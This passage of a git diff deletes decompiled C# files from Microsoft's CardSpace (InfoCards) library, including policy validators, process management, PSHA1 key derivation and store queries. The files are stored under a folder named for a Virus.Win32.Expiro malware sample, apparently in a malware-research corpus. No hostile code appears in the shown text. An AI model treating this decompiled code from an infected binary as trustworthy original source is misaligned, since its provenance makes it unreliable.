{ - if (!PolicyUtility.IsSelfIssuedClaim(requiredClaim)) - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceDoesNotSupportThisClaim"))); - } - } - - protected void ValidateNonWhiteListElements() - { - if (!this.m_policy.NonWhiteListElementsFound) - return; - StringBuilder stringBuilder = new StringBuilder(); - foreach (string whiteListElement in this.m_policy.NonWhiteListElements) - { - stringBuilder.Append(" "); - stringBuilder.Append(whiteListElement); - } - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceUnsupportedPolicyElementFound", (object) stringBuilder.ToString()))); - } - - protected void ValidateRequestType() - { - if (!string.IsNullOrEmpty(this.m_policy.RequestType) && this.m_policy.MergedPolicy.ProtocolVersionProfile.WSTrust.IssueRequestType != this.m_policy.RequestType) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException(SR.GetString("OnlyIssueRequestTypeSupported", (object) this.m_policy.RequestType, (object) this.m_policy.MergedPolicy.ProtocolVersionProfile.WSTrust.IssueRequestType))); - } - - protected void ValidateTokenType() - { - if (string.IsNullOrEmpty(this.m_policy.OptionalRstParams.TokenType) || PolicyUtility.IsSelfIssuedTokenType(this.m_policy.OptionalRstParams.TokenType)) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceDoesNotSupportThisTokenType"))); - } - - protected void ValidateKeySize() - { - if (SecurityKeyTypeInternal.AsymmetricKey == this.m_policy.KeyType && this.m_policy.KeySizeSpecified && 2048U != this.m_policy.KeySize) - throw InfoCardTrace.ThrowHelperError((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceInvalidAsymmetricKeySize"))); - } - - protected void ValidatePrivacyVersion() - { - if (this.m_policy.PrivacyPolicyVersion == 0U && !string.IsNullOrEmpty(this.m_policy.PrivacyPolicyLink) || this.m_policy.PrivacyPolicyVersion != 0U && string.IsNullOrEmpty(this.m_policy.PrivacyPolicyLink)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("ServiceInvalidPrivacyNoticeVersion"))); - } - - protected void ValidateKeyTypeSpecified() - { - if (SecurityKeyTypeInternal.NoKey == this.m_policy.MergedPolicy.KeyType) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("NoProofKeyOnlyAllowedInBrowser", (object) XmlNames.WSIdentity.NoProofKeyTypeValue))); - } - - protected void ValidateKeyType() - { - if (this.m_policy.ImmediateTokenRecipient is X509RecipientIdentity || !this.m_policy.KeyTypeSpecified || this.m_policy.KeyType != SecurityKeyTypeInternal.SymmetricKey) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("InvalidKeyOption"))); - } - - protected void ValidateKeyWrapAlgorithm() - { - if (string.IsNullOrEmpty(this.m_policy.OptionalRstParams.KeyWrapAlgorithm) || !(this.m_policy.OptionalRstParams.KeyWrapAlgorithm != SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm)) - return; - this.ThrowIfSelfIssued((Exception) new UnsupportedPolicyOptionsException(SR.GetString("ServiceInvalidArguments"))); - } - - protected void ValidateRecipients() - { - this.m_policy.Recipient.Validate(); - this.m_policy.ImmediateTokenRecipient.Validate(); - } - - protected void ValidateAppliesTo() - { - if ((EndpointAddress) null == this.m_policy.MergedPolicy.PolicyAppliesTo) - return; - if (Uri.Compare(this.m_policy.MergedPolicy.PolicyAppliesTo.Uri, this.m_policy.ImmediateTokenRecipient.Address.Uri, UriComponents.SchemeAndServer, UriFormat.UriEscaped, StringComparison.OrdinalIgnoreCase) != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - string components1 = this.m_policy.MergedPolicy.PolicyAppliesTo.Uri.GetComponents(UriComponents.Path, UriFormat.UriEscaped); - string components2 = this.m_policy.ImmediateTokenRecipient.Address.Uri.GetComponents(UriComponents.Path, UriFormat.UriEscaped); - if (string.IsNullOrEmpty(components1)) - return; - if (string.IsNullOrEmpty(components2)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - string lowerInvariant = components1.ToLowerInvariant(); - if (!components2.ToLowerInvariant().StartsWith(lowerInvariant, StringComparison.OrdinalIgnoreCase)) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException(SR.GetString("InvalidAppliesToInPolicy", (object) SR.GetString("RecipientNotFromSameSecurityDomain")))); - } - - private void ThrowIfSelfIssued(Exception e) - { - if (InfoCardPolicy.IsSelfIssuedUriPresent(this.m_policy.Issuer)) - throw InfoCardTrace.ThrowHelperError(e); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessExitedException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessExitedException.cs deleted file mode 100644 index 80a3908c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessExitedException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessExitedException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ProcessExitedException : InfoCardBaseException - { - private const int HRESULT = -1073413876; - - public ProcessExitedException() - : base(-1073413876) - { - } - - public ProcessExitedException(string message) - : base(-1073413876, message) - { - } - - public ProcessExitedException(string message, Exception inner) - : base(-1073413876, message, inner) - { - } - - protected ProcessExitedException(SerializationInfo si, StreamingContext sc) - : base(-1073413876, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessManager.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessManager.cs deleted file mode 100644 index b91b5f6d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessManager.cs +++ /dev/null @@ -1,158 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessManager -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal class ProcessManager : IDisposable - { - private const int WindowsVistaMajorVersion = 6; - private const string s_OnScreenKeyboardExeName = "osk"; - private const string s_SwitcherExeName = "msswchx"; - private const string s_TcserverExeName = "tcserver"; - private SafeJobHandle m_hJob; - private List m_processList; - private uint m_userSessionId; - private string m_trustedUserSid; - - public ProcessManager(int userSessionId, string trustedUserSid) - { - this.m_hJob = (SafeJobHandle) null; - this.m_userSessionId = (uint) userSessionId; - this.m_processList = new List(); - this.m_trustedUserSid = trustedUserSid; - } - - internal bool IsConsoleOrVista => (long) this.m_userSessionId == (long) NativeMethods.WTSGetActiveConsoleSessionId() || Environment.OSVersion.Version.Major >= 6; - - internal bool IsXPTablet => Environment.OSVersion.Version.Major < 6 && 0 != NativeMethods.GetSystemMetrics(86); - - public void AddProcess( - SafeNativeHandle hTrustedUserToken, - ref string trustedUserSid, - string infocardDesktop, - uint userProcessId, - WindowsIdentity userIdentity, - string fullPath, - string commandLine, - bool fUseElevatedToken) - { - IntPtr zero = IntPtr.Zero; - int pid = 0; - bool success1 = false; - bool success2 = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - if (this.IsConsoleOrVista && this.m_hJob == null) - { - this.m_hJob = Utility.CreateJobObjectWithSdHelper(trustedUserSid); - if (this.m_hJob == null) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error())); - } - hTrustedUserToken.DangerousAddRef(ref success1); - IntPtr handle = hTrustedUserToken.DangerousGetHandle(); - IntPtr jobHandle = IntPtr.Zero; - if (this.IsConsoleOrVista) - { - this.m_hJob.DangerousAddRef(ref success2); - jobHandle = this.m_hJob.DangerousGetHandle(); - } - if (NativeMcppMethods.CreateProcessAsTrustedUserWrapper(fullPath, commandLine == null ? "" : commandLine, userProcessId, infocardDesktop, userIdentity.Name, this.m_userSessionId, ref handle, ref zero, ref pid, jobHandle, ref trustedUserSid, fUseElevatedToken) != 0U) - return; - using (SafeNativeHandle safeNativeHandle = new SafeNativeHandle(zero, true)) - { - if (!this.IsConsoleOrVista) - this.m_processList.Add(Process.GetProcessById(pid)); - safeNativeHandle.Dispose(); - } - } - finally - { - if (success1) - hTrustedUserToken.DangerousRelease(); - if (success2) - this.m_hJob.DangerousRelease(); - } - } - - public void Dispose() - { - using (new SystemIdentity(false)) - { - if (this.IsConsoleOrVista) - { - if (this.m_hJob != null) - { - this.m_hJob.Dispose(); - this.m_hJob = (SafeJobHandle) null; - } - } - else - { - bool flag = false; - for (int index = 0; index < this.m_processList.Count; ++index) - { - Process process = this.m_processList[index]; - if (!process.HasExited) - { - try - { - if ((long) this.m_userSessionId == (long) process.SessionId) - { - if (string.Compare(process.ProcessName, "osk", StringComparison.OrdinalIgnoreCase) == 0) - flag = true; - Utility.KillHelper(process); - } - } - catch (InvalidOperationException ex) - { - } - } - } - if (flag) - { - foreach (Process p in Process.GetProcessesByName("msswchx")) - { - if ((long) this.m_userSessionId == (long) p.SessionId) - { - if (!p.HasExited) - { - Utility.KillHelper(p); - break; - } - break; - } - p.Dispose(); - } - } - this.m_processList.Clear(); - } - } - if (!this.IsXPTablet) - return; - this.KillTcserverInstancesForInfoCardDesktop(); - } - - private void KillTcserverInstancesForInfoCardDesktop() - { - foreach (Process p in Process.GetProcessesByName("tcserver")) - { - if (NativeMcppMethods.IsCardSpaceTcserverInstance(p.Id, this.m_trustedUserSid)) - Utility.KillHelper(p); - p.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessMonitor.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessMonitor.cs deleted file mode 100644 index 64295a0d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProcessMonitor.cs +++ /dev/null @@ -1,59 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProcessMonitor -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; - -namespace Microsoft.InfoCards -{ - internal class ProcessMonitor - { - private static ProcessMonitor s_current = new ProcessMonitor(); - private Dictionary m_cache; - private object m_sync; - - private ProcessMonitor() - { - this.m_sync = new object(); - this.m_cache = new Dictionary(); - } - - public static Process GetProcessById(int id) => ProcessMonitor.s_current.InnerGetProcessById(id); - - private Process InnerGetProcessById(int id) - { - Process process = (Process) null; - lock (this.m_sync) - { - if (!this.m_cache.TryGetValue(id, out process)) - { - process = Process.GetProcessById(id); - if (!process.HasExited) - { - this.InitializeProcessObject(process); - this.m_cache.Add(process.Id, process); - } - } - } - return process; - } - - private void InitializeProcessObject(Process process) - { - process.EnableRaisingEvents = true; - process.Exited += new EventHandler(this.Process_Exited); - } - - private void Process_Exited(object sender, EventArgs e) - { - Process process = (Process) sender; - lock (this.m_sync) - this.m_cache.Remove(process.Id); - process.Exited -= new EventHandler(this.Process_Exited); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProtocolProfile.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProtocolProfile.cs deleted file mode 100644 index df8c6406..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/ProtocolProfile.cs +++ /dev/null @@ -1,64 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ProtocolProfile -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.Collections.Generic; -using System.IdentityModel.Tokens; -using System.ServiceModel; -using System.ServiceModel.Security; - -namespace Microsoft.InfoCards -{ - internal class ProtocolProfile - { - private XmlNames.IWSTrust m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance; - private XmlNames.IWSPolicy m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyXmlSoap2004.Instance; - private static WSSecurityTokenSerializer s_tokenSerializerDefault = new WSSecurityTokenSerializer(MessageSecurityVersion.Default.SecurityVersion, true); - private static WSSecurityTokenSerializer s_tokenSerializerWSTrust13 = new WSSecurityTokenSerializer(SecurityVersion.WSSecurity11, TrustVersion.WSTrust13, SecureConversationVersion.WSSecureConversation13, false, (SamlSerializer) null, (SecurityStateEncoder) null, (IEnumerable) null); - - public XmlNames.IWSTrust WSTrust - { - get => this.m_iWSTrust; - set => this.m_iWSTrust = value; - } - - public XmlNames.IWSPolicy WSPolicy => this.m_iWSPolicy; - - public MessageSecurityVersion MsgSecurityVersion - { - get - { - if (XmlNames.WSSpecificationVersion.WSTrustXmlSoap2005 == this.WSTrust.Version) - return MessageSecurityVersion.WSSecurity11WSTrustFebruary2005WSSecureConversationFebruary2005WSSecurityPolicy11; - return XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.WSTrust.Version ? MessageSecurityVersion.WSSecurity11WSTrust13WSSecureConversation13WSSecurityPolicy12 : MessageSecurityVersion.Default; - } - } - - public WSSecurityTokenSerializer TokenSerializer => XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.WSTrust.Version ? ProtocolProfile.s_tokenSerializerWSTrust13 : ProtocolProfile.s_tokenSerializerDefault; - - public ProtocolProfile() - { - } - - public ProtocolProfile(string policyXml) - { - if (policyXml.Contains(XmlNames.WSTrustXmlSoap2005.Instance.Namespace)) - this.m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustXmlSoap2005.Instance; - else if (policyXml.Contains(XmlNames.WSTrustOasis2007.Instance.Namespace)) - this.m_iWSTrust = (XmlNames.IWSTrust) XmlNames.WSTrustOasis2007.Instance; - if (policyXml.Contains(XmlNames.WSPolicyXmlSoap2004.Instance.Namespace)) - { - this.m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyXmlSoap2004.Instance; - } - else - { - if (!policyXml.Contains(XmlNames.WSPolicyW32007.Instance.Namespace)) - return; - this.m_iWSPolicy = (XmlNames.IWSPolicy) XmlNames.WSPolicyW32007.Instance; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs deleted file mode 100644 index a8e8b642..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/Psha1DerivedKeyGenerator.cs +++ /dev/null @@ -1,87 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Psha1DerivedKeyGenerator -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class Psha1DerivedKeyGenerator - { - private byte[] key; - - public Psha1DerivedKeyGenerator(byte[] key) => this.key = key != null ? key : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (key)); - - public byte[] GenerateDerivedKey(byte[] label, byte[] nonce, int derivedKeySize, int position) - { - if (label == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (label)); - if (nonce == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (nonce)); - return new Psha1DerivedKeyGenerator.ManagedPsha1(this.key, label, nonce).GetDerivedKey(derivedKeySize, position); - } - - private sealed class ManagedPsha1 - { - private byte[] aValue; - private byte[] buffer; - private byte[] chunk; - private KeyedHashAlgorithm hmac; - private int index; - private int position; - private byte[] secret; - private byte[] seed; - - public ManagedPsha1(byte[] secret, byte[] label, byte[] seed) - { - this.secret = secret; - this.seed = new byte[checked (label.Length + seed.Length)]; - label.CopyTo((Array) this.seed, 0); - seed.CopyTo((Array) this.seed, label.Length); - this.aValue = this.seed; - this.chunk = new byte[0]; - this.index = 0; - this.position = 0; - this.hmac = (KeyedHashAlgorithm) new HMACSHA1(secret, true); - this.buffer = new byte[checked (unchecked (this.hmac.HashSize / 8) + this.seed.Length)]; - } - - public byte[] GetDerivedKey(int derivedKeySize, int position) - { - if (derivedKeySize < 0) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (derivedKeySize), SR.GetString("ValueMustBeNonNegative"))); - if (this.position > position) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (position), SR.GetString("ValueMustBeInRange", (object) 0, (object) this.position))); - while (this.position < position) - { - int num = (int) this.GetByte(); - } - int length = derivedKeySize / 8; - byte[] derivedKey = new byte[length]; - for (int index = 0; index < length; ++index) - derivedKey[index] = this.GetByte(); - return derivedKey; - } - - private byte GetByte() - { - if (this.index >= this.chunk.Length) - { - this.hmac.Initialize(); - this.aValue = this.hmac.ComputeHash(this.aValue); - this.aValue.CopyTo((Array) this.buffer, 0); - this.seed.CopyTo((Array) this.buffer, this.aValue.Length); - this.hmac.Initialize(); - this.chunk = this.hmac.ComputeHash(this.buffer); - this.index = 0; - } - ++this.position; - return this.chunk[this.index++]; - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryDetails.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryDetails.cs deleted file mode 100644 index 175e8b00..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryDetails.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryDetails -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; - -namespace Microsoft.InfoCards -{ - [Flags] - internal enum QueryDetails - { - None = 0, - Identifiers = 1, - Header = 2, - DataBlob = 4, - IndexData = 8, - FullHeader = Header | Identifiers, // 0x00000003 - FullRow = FullHeader | DataBlob, // 0x00000007 - FullRowAndIndexes = FullRow | IndexData, // 0x0000000F - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryParameter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryParameter.cs deleted file mode 100644 index 88467635..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryParameter.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryParameter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Collections.Generic; - -namespace Microsoft.InfoCards -{ - internal class QueryParameter - { - private string m_indexName; - private List m_objects; - - public QueryParameter(string name) - { - this.m_indexName = !string.IsNullOrEmpty(name) ? name : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (name)); - this.m_objects = new List(); - } - - public QueryParameter(string name, params object[] values) - : this(name) - { - for (int index = 0; index < values.Length; ++index) - this.AddMatch(values[index]); - } - - public string IndexName - { - get => this.m_indexName; - internal set => this.m_indexName = value; - } - - internal IndexObject this[int index] => this.m_objects[index]; - - public int Count => this.m_objects.Count; - - public void Clear() => this.m_objects.Clear(); - - public void AddCompiled(byte[] compiledForm) => this.m_objects.Add(new IndexObject(compiledForm)); - - public void AddMatch(params object[] values) - { - if (values == null || values.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (values)); - this.m_objects.Add(new IndexObject(values)); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryStoreStatusRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryStoreStatusRequest.cs deleted file mode 100644 index 2a816d17..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/QueryStoreStatusRequest.cs +++ /dev/null @@ -1,48 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.QueryStoreStatusRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class QueryStoreStatusRequest : UIAgentRequest - { - private bool m_storeStatus; - - public QueryStoreStatusRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - this.OnInitializeAsSystem(); - } - - protected override void OnMarshalInArgs() - { - } - - protected override void OnProcess() - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - this.m_storeStatus = connection.IsDataSourceCleared(connection.LocalDataSource); - if (!this.m_storeStatus) - return; - connection.ResetDataSourceClearedFlag(connection.LocalDataSource); - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs).Write(this.m_storeStatus); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RPIdentityRequirement.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RPIdentityRequirement.cs deleted file mode 100644 index e1c714e3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RPIdentityRequirement.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RPIdentityRequirement -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RPIdentityRequirement - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - private bool m_RPIdentityRequirement; - - private RPIdentityRequirement() - { - } - - public RPIdentityRequirement(Uri infoCardId, bool RPIdentityRequirement) - : this() - { - this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - this.m_RPIdentityRequirement = RPIdentityRequirement; - } - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream) => new BinaryWriter(stream, Encoding.Unicode).Write(this.m_RPIdentityRequirement); - - public void Deserialize(Stream stream) => this.m_RPIdentityRequirement = new InfoCardBinaryReader(stream, Encoding.Unicode).ReadBoolean(); - - public void Save(StoreConnection con) - { - DataRow row = con != null ? this.TryGetRow(con, QueryDetails.FullHeader) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (row == null) - { - row = new DataRow(); - row.ObjectType = 5; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_parentid", (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString())); - MemoryStream memoryStream = new MemoryStream(); - this.Serialize((Stream) memoryStream); - row.SetDataField(memoryStream.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public bool StrongIdentityRequired - { - get => this.m_RPIdentityRequirement; - set => this.m_RPIdentityRequirement = value; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) - { - InfoCardTrace.Assert((Uri) null != this.m_infoCardId, "null infocard id"); - return con.GetSingleRow(details, new QueryParameter("ix_objecttype", new object[1] - { - (object) 5 - }), new QueryParameter("ix_parentid", new object[1] - { - (object) GlobalId.DeriveFrom(this.m_infoCardId.ToString()) - })); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RSATokenProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RSATokenProvider.cs deleted file mode 100644 index 574ecaa5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RSATokenProvider.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: 